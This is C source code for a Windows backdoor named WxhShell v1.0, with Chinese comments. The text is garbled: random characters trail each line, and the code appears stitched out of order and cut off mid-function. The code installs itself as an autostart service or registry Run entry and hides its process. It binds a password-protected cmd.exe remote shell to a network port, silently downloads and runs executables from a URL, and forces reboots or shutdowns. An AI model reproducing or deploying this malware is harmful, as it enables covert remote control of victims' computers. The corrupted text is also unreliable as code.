    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W~k!qy `  
    if(Boot(SHUTDOWN)) [&nwB!kt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -xXNzC   
    else { d(wqKiGwe  
    closesocket(wsh); 'n:Ft  
    ExitThread(0); - |[_j$g  
    } .ET;wK  
    break;  8k J k5  
    } `N(.10~  
  // 获取shell `r*6P^P  
  case 's': { ts;_T..L  
    CmdShell(wsh); A</[Q>8  
    closesocket(wsh); T]^F%D%  
    ExitThread(0); Sa,N1r  
    break; NYP3uGH]  
  } h!K B%4V  
  // 退出 sTG+c E  
  case 'x': { ynOp7ZN$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,Qyz2- w  
    CloseIt(wsh); eU%5CVH.v  
    break; h*MR5qa  
    } \=N tbBL$[  
  // 离开 {6%uNT>|  
  case 'q': { MT6kJDyLu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #eUfwd6.Y  
    closesocket(wsh); p,tB  
    WSACleanup(); xh-[]Jz(  
    exit(1); k2t?e:)3zr  
    break; Ep?a>\  
        } }qKeX4\-  
  } BB%(!O4Dl  
  } LV]\{'  
dlT\VWMha(  
  // 提示信息 _O!D*=I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BPG)m,/b  
} o[v`Am?v  
  } u^]yz&9V  
cEqh|Q  
  return; cw5YjQ8 9  
} 3P6'*pZ  
*z+\yfOO"  
// shell模块句柄 :mJM=FeJ  
int CmdShell(SOCKET sock) gx6&'${=#  
{ 'I<j`)4`d  
STARTUPINFO si; N)!v-z,k  
ZeroMemory(&si,sizeof(si)); ky~x4_y5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dq?2mXOqD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?+|tPjg $  
PROCESS_INFORMATION ProcessInfo; 6)3eB{$;  
char cmdline[]="cmd"; PR'FSTg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d#d~t[=  
  return 0; B_&PK7vA  
} ZbrE m  
R/wSGP`W  
// 自身启动模式 !<LS4s;  
int StartFromService(void) W" !amMQ  
{ X,N@`  
typedef struct eLTNnz  
{ # R&[+1=9j  
  DWORD ExitStatus; .Ep3~9TBW  
  DWORD PebBaseAddress; \k,bz 0  
  DWORD AffinityMask; :I $2[K  
  DWORD BasePriority; CS{9|FNz  
  ULONG UniqueProcessId; 64vSJx>u  
  ULONG InheritedFromUniqueProcessId; C IDL{i8  
}   PROCESS_BASIC_INFORMATION; VM!x)i9z  
OZ" <V^"`  
PROCNTQSIP NtQueryInformationProcess; OKqpc;y:D  
sy?>e*-{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o{he) r6)_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0/6&2  
UBVb#FNF  
  HANDLE             hProcess; x-pMT3m\D#  
  PROCESS_BASIC_INFORMATION pbi; 9y5 \4&v  
3XnXQ/({  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PWMaB  
  if(NULL == hInst ) return 0; 5a ~tp'  
:#/bA&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JqUVGEg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )^\='(s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <J)A_Kx[57  
c-.>C)  
  if (!NtQueryInformationProcess) return 0; XNU qZ-M :  
FZ9<Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z6lz*%Yi  
  if(!hProcess) return 0; dM UDLr-  
"Y!dn|3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gDub+^ye>/  
J,O@T)S@  
  CloseHandle(hProcess); &-fx=gq=  
9oP{Al  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /[? F1Q  
if(hProcess==NULL) return 0; !XG&=Rd?  
'pY;]^M  
HMODULE hMod; Qs9U&*L  
char procName[255]; X u):.0I  
unsigned long cbNeeded; $NT9LtT@K  
o# xg:m_py  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D:E~yh)$-  
Wi?%)hur  
  CloseHandle(hProcess); s[q4K  
Tr0V6TS7  
if(strstr(procName,"services")) return 1; // 以服务启动 51 0XDl~b  
" ^baiN@ac  
  return 0; // 注册表启动 ox_h9=$-  
} 5TneuGD  
5\0.[W{^  
// 主模块 %hbLT{w  
int StartWxhshell(LPSTR lpCmdLine) SrtVoe[  
{ \TB%N1^  
  SOCKET wsl; wDSUMB<?  
BOOL val=TRUE; g]<Z]R`  
  int port=0; KWJgW{{v  
  struct sockaddr_in door; M`P]cX)x  
|3:=qpT-  
  if(wscfg.ws_autoins) Install(); ; Uqx&5P}  
X$ B]P 7G7  
port=atoi(lpCmdLine); $SzCVWS  
pLQSG}N  
if(port<=0) port=wscfg.ws_port; SxZ^ "\H  
4A/,X>W61  
  WSADATA data; Ui |a}`c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,(0XsBL  
<W51oO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z3Y)-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |5IY`;+9  
  door.sin_family = AF_INET; e#6&uFce  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K%c ATA3  
  door.sin_port = htons(port); Ac!&j=ZE  
K-EI?6`xM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^s@*ISY  
closesocket(wsl); 6l\UNG7  
return 1; 380->  
} }1]!#yMfq  
sK 1m9  
  if(listen(wsl,2) == INVALID_SOCKET) { *lerPY3 q  
closesocket(wsl); ,-7/]h,l  
return 1; *2Vp4  
} e}R2J `7  
  Wxhshell(wsl); f_4S>C$  
  WSACleanup(); eY 4`k  
tT* W5  
return 0;  w{ r(F`  
{FJX  
} ll(e,9.D  
A)RI:?+  
// 以NT服务方式启动 $ o5V$N D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V|3yZ8lE  
{ {V%%^Zhwy  
DWORD   status = 0; k,;lyE  
  DWORD   specificError = 0xfffffff;  \Z\IK  
Zr.\`mG4f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @jE d%W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V`g\ja*Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #}/cM2m  
  serviceStatus.dwWin32ExitCode     = 0; 4T==A#Z  
  serviceStatus.dwServiceSpecificExitCode = 0; "$~}'`(]  
  serviceStatus.dwCheckPoint       = 0; ReI=4Jq11  
  serviceStatus.dwWaitHint       = 0; #JL&]Z+X6  
Jb3>vCIn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +p9LE4g7Q  
  if (hServiceStatusHandle==0) return; nc3ltT,R  
&547`*  
status = GetLastError(); d,Cz-.'sOf  
  if (status!=NO_ERROR) <pTQpU  
{ u8-a-k5<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~t{D5#LVHa  
    serviceStatus.dwCheckPoint       = 0; n0+g]|a AF  
    serviceStatus.dwWaitHint       = 0; HF &h  
    serviceStatus.dwWin32ExitCode     = status; f$1Gu  
    serviceStatus.dwServiceSpecificExitCode = specificError; '[>\N4WD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mP9cBLz  
    return; 4 ss&'h  
  } tJUVw=  
g(-;_j!=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hH <6E  
  serviceStatus.dwCheckPoint       = 0; qpb/g6g  
  serviceStatus.dwWaitHint       = 0; gHQPhe#n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /hm84La  
} `Mg8]H~  
ZhhI@_sz  
// 处理NT服务事件,比如:启动、停止 5~@?>)TBv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x`]Of r'  
{ /C*~/}  
switch(fdwControl) N7e`6d!  
{ I*^5'N'  
case SERVICE_CONTROL_STOP: Sp 7u_Pq{  
  serviceStatus.dwWin32ExitCode = 0; `%$8cZ-kr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7n\ThfH{  
  serviceStatus.dwCheckPoint   = 0; 3.Ji5~  
  serviceStatus.dwWaitHint     = 0; 7#~4{rjg  
  { v2Dt3$@H6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j_!bT!8  
  } dX_!0E[c  
  return; 4F}Pu<;  
case SERVICE_CONTROL_PAUSE: yt. f!"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SXQ@;= ]xV  
  break; *%:@ cbF-M  
case SERVICE_CONTROL_CONTINUE: p`d XqW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RG&I\DTyt  
  break; 8jRs =I  
case SERVICE_CONTROL_INTERROGATE: XAkK:}h  
  break; q<n[.u1@  
}; @zo7.'7P   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !6M Bxg>  
} -^yXLa;D  
cC' ~  
// 标准应用程序主函数 Vr 8:nP:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H#+\nT2m  
{ VKy5=2&  
XlVc\?  
// 获取操作系统版本 Z(p*Z,?u  
OsIsNt=GetOsVer(); @@Q6TB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {J2#eiF  
W@^J6sH  
  // 从命令行安装 S.: 7k9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'f*O#&?  
T tPr)F|  
  // 下载执行文件 JT04vm4  
if(wscfg.ws_downexe) { dByjcTPA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _%{0?|=  
  WinExec(wscfg.ws_filenam,SW_HIDE); qbb6,DL7J  
} p;0 PxL=  
fz3lR2~G  
if(!OsIsNt) { ?W!ry7gXO  
// 如果时win9x,隐藏进程并且设置为注册表启动 F}D3,&9N  
HideProc(); 'd/*BjNp)  
StartWxhshell(lpCmdLine); +< yhcSSTB  
} L6+C]t}>6  
else d`Oe_<  
  if(StartFromService()) ;'}'5nO=$  
  // 以服务方式启动 s)k y/ce  
  StartServiceCtrlDispatcher(DispatchTable); ?ok)>P  
else $3k "WlRG  
  // 普通方式启动 Ux}W&K/?'  
  StartWxhshell(lpCmdLine); 1[-vD=  
PO o%^'(  
return 0; 59 <hV?  
} $mpO?D J~  
@ 7W?8  
J\=a gQ  
z)}!e,7  
=========================================== ]-:6T0JuS  
m5*[t7@%  
~}Z'0W)Q`z  
&94W-zh  
/e1(? 20  
!D:Jbt@R<n  
" W`M6J}oG  
rF] +,4  
#include <stdio.h> g^l RG3a  
#include <string.h> !^WHZv4  
#include <windows.h> g_aCHEFBv  
#include <winsock2.h> CU$#0f>  
#include <winsvc.h> 3^wC<ZXcD  
#include <urlmon.h> opp!0:jS*  
VagT_D  
#pragma comment (lib, "Ws2_32.lib") zzIr2so  
#pragma comment (lib, "urlmon.lib") H}ZQ?uK;  
mgQIhXH5L  
#define MAX_USER   100 // 最大客户端连接数 3FNT|QF  
#define BUF_SOCK   200 // sock buffer `1+F,&e  
#define KEY_BUFF   255 // 输入 buffer fS=hpL6]@  
LFf`K)q  
#define REBOOT     0   // 重启 *Y6xvib9*  
#define SHUTDOWN   1   // 关机 Vrkf(E3_V  
J7+w4q~cB`  
#define DEF_PORT   5000 // 监听端口 ?*u*de[,  
+L%IG  
#define REG_LEN     16   // 注册表键长度 j0mM>X HB  
#define SVC_LEN     80   // NT服务名长度 "G?Yrh  
p2 %  
// 从dll定义API X.FGBR7=q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;\{`Ci\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3EK9,:<Cf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ig!7BxM)<h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0 n vSvk  
w$fJ4+  
// wxhshell配置信息 OW@\./nM  
struct WSCFG { -{jdn%Y7CK  
  int ws_port;         // 监听端口 pA}S5x  
  char ws_passstr[REG_LEN]; // 口令 A1i!F?X  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'T8W!&$  
  char ws_regname[REG_LEN]; // 注册表键名 pv,45z0  
  char ws_svcname[REG_LEN]; // 服务名 kcuzB+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s!B/WsK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $E!J:Y=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9KuD(EJS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t18$x "\4k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  jN*:QI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S<wj*"|.s  
a;AzY'R  
}; [<c&|tfl  
} ^kL|qmjR  
// default Wxhshell configuration na+d;h*~y  
struct WSCFG wscfg={DEF_PORT, aM3gRp51cj  
    "xuhuanlingzhe", b;cMl'  
    1, <%?#AVU[  
    "Wxhshell", RP4Ku9hk  
    "Wxhshell", {FO$yw=>  
            "WxhShell Service", iEyeX0nm  
    "Wrsky Windows CmdShell Service", &HZmQ>!R D  
    "Please Input Your Password: ", RW'nUL?_\  
  1, C#0Qd%  
  "http://www.wrsky.com/wxhshell.exe", k?GD/$1t  
  "Wxhshell.exe" 0MF}^"R  
    }; 8+Llx  
f9$xk|2g  
// 消息定义模块 O[@ q%&_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~nLN`H d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,5 j"ruZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a?h*eAAc.  
char *msg_ws_ext="\n\rExit."; nAJdr*`a,5  
char *msg_ws_end="\n\rQuit."; T#@lDpO  
char *msg_ws_boot="\n\rReboot..."; 5Qwh(C^H  
char *msg_ws_poff="\n\rShutdown..."; aW_oD[l  
char *msg_ws_down="\n\rSave to "; Y$K!7Kq  
^"\s eS  
char *msg_ws_err="\n\rErr!"; !%(h2]MQ  
char *msg_ws_ok="\n\rOK!"; uP $ Cj  
CG\tQbum  
char ExeFile[MAX_PATH]; Uh eC  
int nUser = 0; ?4H#G)F  
HANDLE handles[MAX_USER]; <yA}i"-1W  
int OsIsNt; 'wasZ b<^  
= {'pUU  
SERVICE_STATUS       serviceStatus; "^j>tii  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N;oQ^B'  
inb^$v  
// 函数声明 2zSG&",2D  
int Install(void); Dn9w@KO  
int Uninstall(void); ZIR0PQh\  
int DownloadFile(char *sURL, SOCKET wsh); gU^$Sx7'  
int Boot(int flag); `?g`bN`Vn  
void HideProc(void); s.Y4pWd5@  
int GetOsVer(void); 'n QVj  
int Wxhshell(SOCKET wsl); ]M>9ULQ  
void TalkWithClient(void *cs); UV 4>N  
int CmdShell(SOCKET sock); O%~jop7# 6  
int StartFromService(void); b+-f.!j  
int StartWxhshell(LPSTR lpCmdLine); AmPMY:1i"  
Jb)#fH$L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YYEJph@06q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /M~!sPW&?  
% }|cb7l  
// 数据结构和表定义 sbkQ71T:  
SERVICE_TABLE_ENTRY DispatchTable[] = '3]p29v{  
{ 1axQ)},o@p  
{wscfg.ws_svcname, NTServiceMain}, aJL^AG  
{NULL, NULL} ev0oO+u  
}; ne61}F"E  
.#u_#=g?  
// 自我安装 E9|eu\  
int Install(void) xqXDxJlns  
{ (`>voi<^  
  char svExeFile[MAX_PATH]; P&d"V<  
  HKEY key; e~ aqaY~}  
  strcpy(svExeFile,ExeFile); "\Egs)\  
bPD`+: A_  
// 如果是win9x系统,修改注册表设为自启动 ^_t%kmL`  
if(!OsIsNt) { -7/s]9o'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JXG"M#{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Fw?H3X!"q  
  RegCloseKey(key); ^J Z^>E~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +x9cT G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )15Z#`x  
  RegCloseKey(key); SvN9aD1  
  return 0; wiaX&-c]8  
    } -[= drj9I  
  } k4qp u=@U  
} bWl5(S` Z  
else { kt[:@Nda9  
Q'+MFld   
// 如果是NT以上系统,安装为系统服务 H/M Au7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |9"p|6G?B  
if (schSCManager!=0) a9n^WOJ6  
{ <9=9b_z  
  SC_HANDLE schService = CreateService ky 8ep  
  ( 2f U$J>Y  
  schSCManager, jENr>$$  
  wscfg.ws_svcname, EF pIp4_Y  
  wscfg.ws_svcdisp, ) \Y7&  
  SERVICE_ALL_ACCESS, uE[(cko  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UA[,2MBp  
  SERVICE_AUTO_START, 7iHK_\tn  
  SERVICE_ERROR_NORMAL, Auy_K?he]  
  svExeFile, MYBx&]!\  
  NULL, ?u4INZ0W  
  NULL, 9Rek4<5  
  NULL, 7&KT0a*  
  NULL, h25G/`  
  NULL tb :L\A^:  
  ); ;"O&X<BX-  
  if (schService!=0) liR ?  
  { g}p;\o   
  CloseServiceHandle(schService); p8s:g~ W  
  CloseServiceHandle(schSCManager); _U;eN|Ww  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h^ -. ]Y  
  strcat(svExeFile,wscfg.ws_svcname); tbnH,*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qQ!1t>j+H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &z"krM]G  
  RegCloseKey(key); DzQ1%!  
  return 0; _"4xKh)  
    } 8Ld:"Y#  
  } {JV@"t-X3"  
  CloseServiceHandle(schSCManager); #,{+3Y&5-+  
} ) 'j:  
} R),zl_d_  
RE.r4uOJg  
return 1; B2Xn?i3 l  
} 8q`$y$06Dk  
1<ro7A4hK  
// 自我卸载 "RVcA",  
int Uninstall(void) qS&%!  
{ k%y9aO  
  HKEY key; mAk{"65V  
|*RYq2y  
if(!OsIsNt) { <8UYhGK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j@Qg0F  
  RegDeleteValue(key,wscfg.ws_regname); ]pEV}@7  
  RegCloseKey(key); r%DFve:%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Knhp*V?  
  RegDeleteValue(key,wscfg.ws_regname); b| SE<\  
  RegCloseKey(key); M4ozTp<$O  
  return 0; KRJLxNr  
  } `si#aU  
} Vtppuu$  
} 0?WcoPU  
else { ^$%Z! uz  
Gu=STb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6 \B0^  
if (schSCManager!=0) Q4t(@0e}  
{ ;X,1&#I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @`FCiHM  
  if (schService!=0) .k TG[)F0b  
  { TwyM\9l7  
  if(DeleteService(schService)!=0) { Qr# 1u  
  CloseServiceHandle(schService); (]/9-\6(#  
  CloseServiceHandle(schSCManager); {%w!@-  
  return 0; avmcw~ TF  
  } dk8wIa"K`  
  CloseServiceHandle(schService); FZB~|3eq{  
  } yV)m"j  
  CloseServiceHandle(schSCManager); zb6ju]2  
} #6Xs.*b5C  
} T+LJ* I4  
2?@j~I=s2h  
return 1; dBO@6*N4c  
} iE0ab,OF  
sqx` ">R  
// 从指定url下载文件 >#+IaKL7  
int DownloadFile(char *sURL, SOCKET wsh) >Ps7I  
{ fIoIW&iy  
  HRESULT hr; OPpjuIRv  
char seps[]= "/"; Hy{ Q#fq  
char *token; G;gJNK"e  
char *file; 9Qj2W  
char myURL[MAX_PATH]; _eLWQ|6Fx  
char myFILE[MAX_PATH]; Ql?^ B SqG  
0;sRJ  
strcpy(myURL,sURL); }aB#z<B6  
  token=strtok(myURL,seps); xChI ,~i  
  while(token!=NULL) Y^$HrI(vq  
  { 4X NxI1w)  
    file=token; ,]R8(bD)  
  token=strtok(NULL,seps); WUAJjds  
  } mzL[/B#>M  
tXF]t   
GetCurrentDirectory(MAX_PATH,myFILE); 7J>Gd  
strcat(myFILE, "\\"); ^[TV;9I*  
strcat(myFILE, file); }:iBx  
  send(wsh,myFILE,strlen(myFILE),0); ^ L:cjY/  
send(wsh,"...",3,0); E]^5I3=O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F-n"^.7  
  if(hr==S_OK) ~WVO  
return 0; KB{RU'?f|  
else h?@G$%2  
return 1; "u}9@}*  
(g/7yO(s  
} f F?6j   
~M ?|Vn  
// 系统电源模块 <v]9lw'  
int Boot(int flag) r$)$n&j  
{ #S QXTR  
  HANDLE hToken; J$uM 03  
  TOKEN_PRIVILEGES tkp; q/@dR{-  
)&NAs  
  if(OsIsNt) { ' |K.k6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @ "d2.h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H^c0Kh+  
    tkp.PrivilegeCount = 1; O@U?IF$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eVy2|n9rH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wuK=6RL  
if(flag==REBOOT) { gzfbzt}?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q49BU@xX  
  return 0; i3V/`)iz  
} eO5ktEoJ  
else { %&] 1FhL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VAj<E0>  
  return 0; !c8L[/L  
} 4!%]fg}Um  
  } -Q[g/%  
  else { U^#?&u  
if(flag==REBOOT) { 8Pmwzpk02  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HFh /$VM  
  return 0; [STje8+V  
} X\2_; zwf  
else { qb7^VIo%c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r%MyR8'k]  
  return 0; p]f&mBO*  
} ofCVbn  
} Zw=G@4xoU  
|$w*RI0C  
return 1; CyTFb$Z  
} PZ]5Hf1"  
(KF7zP  
// win9x进程隐藏模块 Cg6;I.K   
void HideProc(void) (&Q)EBdm  
{ cIZc:   
oI$V|D3 9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zzJ^x8#R  
  if ( hKernel != NULL ) D0%FELG05  
  { rgR?wXW]jE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YRa4W.&Yn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~I)uWo  
    FreeLibrary(hKernel); wiV&xl  
  } gH H&IzHF  
iPFL"v<#J  
return; M)=|<h"F  
} s>J3\PC  
.CmL7 5  
// 获取操作系统版本 ![Hhxu  
int GetOsVer(void) E3tj/4:L  
{ BD4"pcr  
  OSVERSIONINFO winfo; o}!&y?mp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &Q+]t"OA!  
  GetVersionEx(&winfo); VD4S_qx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +9~ZA3DiP  
  return 1;  uE"2kn  
  else }wG|%Y#+r  
  return 0; bXm :]?  
} _DrnL}9I7  
V%o#AfMI_  
// 客户端句柄模块 u= l0f6W  
int Wxhshell(SOCKET wsl) af^@ .$ |  
{ z=%IcSx;  
  SOCKET wsh; 59/Q*7ZJ  
  struct sockaddr_in client; , Z4p0M  
  DWORD myID; h+ TB]  
c}8 -/P=  
  while(nUser<MAX_USER) k$?&]! <o  
{ {;;eOxOP|  
  int nSize=sizeof(client); 6|i`@|#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;\q<zO@x  
  if(wsh==INVALID_SOCKET) return 1; n<+~ zQ  
Hq79/ wKj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @ikUM+A {  
if(handles[nUser]==0) 89ZDOji?O  
  closesocket(wsh); !__D}k,  
else CARq^xI-  
  nUser++; @t "~   
  } US"2O!u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N.k+AQb  
E Gr|BLl  
  return 0; ho(5r5SNE  
} '"'D.,[W2  
<tGI]@Nwk  
// 关闭 socket oPp!*$V  
void CloseIt(SOCKET wsh) Bd/} %4V\@  
{ ;,()wH  
closesocket(wsh); nmTm(?yE  
nUser--; ]L[JS^#7  
ExitThread(0); QZ6[*_Z6  
} pE~9o 9  
X!7 c zt  
// 客户端请求句柄 #_?426Wfs  
void TalkWithClient(void *cs) >SY 2LmV'a  
{ -ryDsq  
)w^GP lh  
  SOCKET wsh=(SOCKET)cs; Fc34Y0_A  
  char pwd[SVC_LEN]; `%KpTh  
  char cmd[KEY_BUFF]; ~R"]LbeY  
char chr[1]; -[i40 1  
int i,j; Kx(76_XD  
/&S~+~]n  
  while (nUser < MAX_USER) { r\4*\  
n1fE daa7g  
if(wscfg.ws_passstr) { Ec7{BhH)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UrD=|-r`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #i}#jMT  
  //ZeroMemory(pwd,KEY_BUFF); 9~LpO>-  
      i=0; ] P:NnKgK  
  while(i<SVC_LEN) { 1(#*'xR  
uW\@x4  
  // 设置超时 Zj%B7s1A  
  fd_set FdRead; jsZiARTZRl  
  struct timeval TimeOut; Q#yu(  
  FD_ZERO(&FdRead); s0~05{  
  FD_SET(wsh,&FdRead); 4?P%M"\Iv  
  TimeOut.tv_sec=8; !mpMa]G3  
  TimeOut.tv_usec=0; j]@ x Q,y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A{DIp+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .(P@Bl]XJ  
'$2oSd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pXpLL_  
  pwd=chr[0]; ft~|  
  if(chr[0]==0xd || chr[0]==0xa) { k"3Z@Px:  
  pwd=0; ShEaL&'J  
  break; I>YtWY|ed  
  } ! 4qps$p{  
  i++; ;*<{*6;=?  
    } O]$*EiO\  
v;N1'  
  // 如果是非法用户,关闭 socket +[X.-,yW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kB$,1J$q  
} jFJW3az@z  
u@:=qd=\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s&_IWala  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pR@GvweA  
I9Edw]  
while(1) { e@2E0u4  
Yq)YS]  
  ZeroMemory(cmd,KEY_BUFF); ;S{Ld1;  
Gct&}]3pm  
      // 自动支持客户端 telnet标准   l?yZtZ8  
  j=0; t`Y1.]@U  
  while(j<KEY_BUFF) { :) Fp B"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L8?Z!0D/h  
  cmd[j]=chr[0]; bz}AO))Hk  
  if(chr[0]==0xa || chr[0]==0xd) { c^dl+-{Mc  
  cmd[j]=0; =JySY@?9  
  break; NBbY## w0  
  } KOAz-h@6   
  j++; 2'O!~8U  
    } 9rf|r 3  
l;][Q]Z@V  
  // 下载文件 um_M}t{  
  if(strstr(cmd,"http://")) { -f|+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WO \lny!  
  if(DownloadFile(cmd,wsh)) u {E^<fW]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O+8ApicjTc  
  else <76=H]h~  
